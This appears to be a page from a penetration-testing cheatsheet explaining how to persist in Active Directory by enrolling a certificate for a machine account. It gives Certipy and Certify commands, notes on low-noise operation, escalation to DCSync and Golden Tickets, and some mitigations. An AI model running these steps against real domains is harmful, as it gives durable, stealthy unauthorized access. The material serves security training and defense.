AD^:Active Directory

PERSIST2 — Machine Account Persistence via Certificates

Machine accounts rotate their password automatically every ~30 days, which normally limits how long a stolen machine hash stays useful. A certificate…

advancedupdated 2026-08-10Certipy · Certify · PowerShell

PERSIST2 — Machine Account Persistence via Certificates

Quick Reference

FieldValue
CategoryAccount Persistence (machine)
DifficultyLow–Medium
Pre-requisitesSYSTEM/admin on a host (or control of a machine account) + a machine-enrolment template
ToolsCertipy, Certify
OPSEC NoiseLow — a normal machine enrolment
One-linerEnrol an authentication certificate for a computer account and keep it — it outlives the 30-day machine-password rotation, giving durable access as HOST$.

What Is PERSIST2?

Machine accounts rotate their password automatically every ~30 days, which normally limits how long a stolen machine hash stays useful. A certificate side-steps that: enrol a cert for the computer account and it stays valid for the template’s full lifetime (often 1 year), regardless of password rotation. Since computer accounts are frequent RBCD/Kerberoast targets — and a DC’s account is a DCSync-capable identity — this is potent persistence.


Step 1 — Enrol a Machine Certificate

# As SYSTEM on the host (or with the machine account's hash), request a Machine cert
certipy-ad req \
  -u 'HOST$@domain.htb' -hashes :<MACHINE_NTHASH> \
  -dc-ip $TARGET -ca 'DOMAIN-CA' -template 'Machine'
#   -> host.pfx  (survives the 30-day rotation)
# From SYSTEM on the box, the machine context can enrol directly
.\Certify.exe request /ca:DC01\DOMAIN-CA /template:Machine /machine

Step 2 — Authenticate as the Machine Later

certipy-ad auth -pfx host.pfx -dc-ip $TARGET
#   -> HOST$ TGT + machine NT hash (even after password rotation)

Step 3 — Leverage the Machine Identity

  • RBCD: if HOST$ can be configured for delegation, impersonate any user to services on it.
  • DC machine account: a DC01$ cert authenticates as the DC → DCSync krbtgt → Golden Ticket.
  • Re-loot: each PKINIT auth returns the machine’s current NT hash, self-healing after rotation.

[!warning] DC machine persistence = domain persistence A certificate for a Domain Controller’s computer account is effectively domain-level persistence. Consider it alongside DPERSIST1.


OPSEC Considerations

ActionLogNoise
Machine cert requestEvent 4886/4887 on CA🟢 Low
PKINIT as HOST$Event 4768 on DC🟢 Low

Mitigation

  • Revoke machine certificates when a host is reimaged or suspected compromised.
  • Constrain which templates permit machine enrolment; audit certs issued to computer accounts.
  • Tier DCs; treat DC machine-cert issuance as high severity.

See Also

  • _ADCS Attack Methodology Guide · THEFT3 — Machine Certificate Theft via DPAPI · PERSIST1 — Active User Credential Theft via Certificates
  • Sources: SpecterOps Certified Pre-Owned; Certipy Wiki
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.